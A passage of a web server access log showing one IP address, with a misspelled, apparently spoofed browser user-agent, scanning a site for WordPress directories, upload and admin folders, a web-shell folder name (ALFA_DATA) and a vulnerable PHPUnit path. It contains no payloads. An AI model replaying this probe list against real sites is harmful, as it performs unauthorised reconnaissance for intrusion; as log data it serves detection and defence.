"www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:48 +0330] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:50 +0330] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:55 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:59 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:00 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:01 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:03 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:07 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:09 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:35 +0330] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:37 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:44 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:49 +0330] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:19:51 +0330] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:01 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:04 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:06 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:13 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:14 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:15 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:17 +0330] "GET /uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:20 +0330] "GET /admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:22 +0330] "GET /Admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:38 +0330] "GET /upload/image/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:11 +0330] "GET /cgi-bin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:15 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:19 +0330] "GET /upload/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:23 +0330] "GET /admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:25 +0330] "GET /images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:35 +0330] "GET /assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:36 +0330] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:45 +0330] "GET /vendor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:03 +0330] "GET /modules/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:04 +0330] "GET /Site/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:05 +0330] "GET /system/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:06 +0330] "GET /template/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:10 +0330] "GET /admin/editor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:11 +0330] "GET /include/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:12 +0330] "GET /Assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:42 +0330] "GET /assets/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:44 +0330] "GET /Public/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:20:47 +0330] "GET /local/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:07 +0330] "GET /shop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:08 +0330] "GET /files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:13 +0330] "GET /images/stories/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:15 +0330] "GET /plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:16 +0330] "GET /php/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:20 +0330] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:22 +0330] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:23 +0330] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:24 +0330] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:44 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:45 +0330] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:47 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:21 +0330] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:43 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:46 +0330] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:51 +0330] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:56 +0330] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:03 +0330] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:10 +0330] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:11 +0330] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:19 +0330] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:24 +0330] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:29 +0330] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:31 +0330] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:39 +0330] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:40 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:21:53 +0330] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:01 +0330] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:02 +0330] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:07 +0330] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:07 +0330] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:15 +0330] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:19 +0330] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:20 +0330] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:22 +0330] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:24 +0330] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:28 +0330] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:46 +0330] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:47 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:57 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:22:58 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:33 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:34 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:35 +0330] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:42 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:43 +0330] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:46 +0330] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:03:23:50 +0330] "GET /admin/images/slider/ HTTP/1.1" 301 795 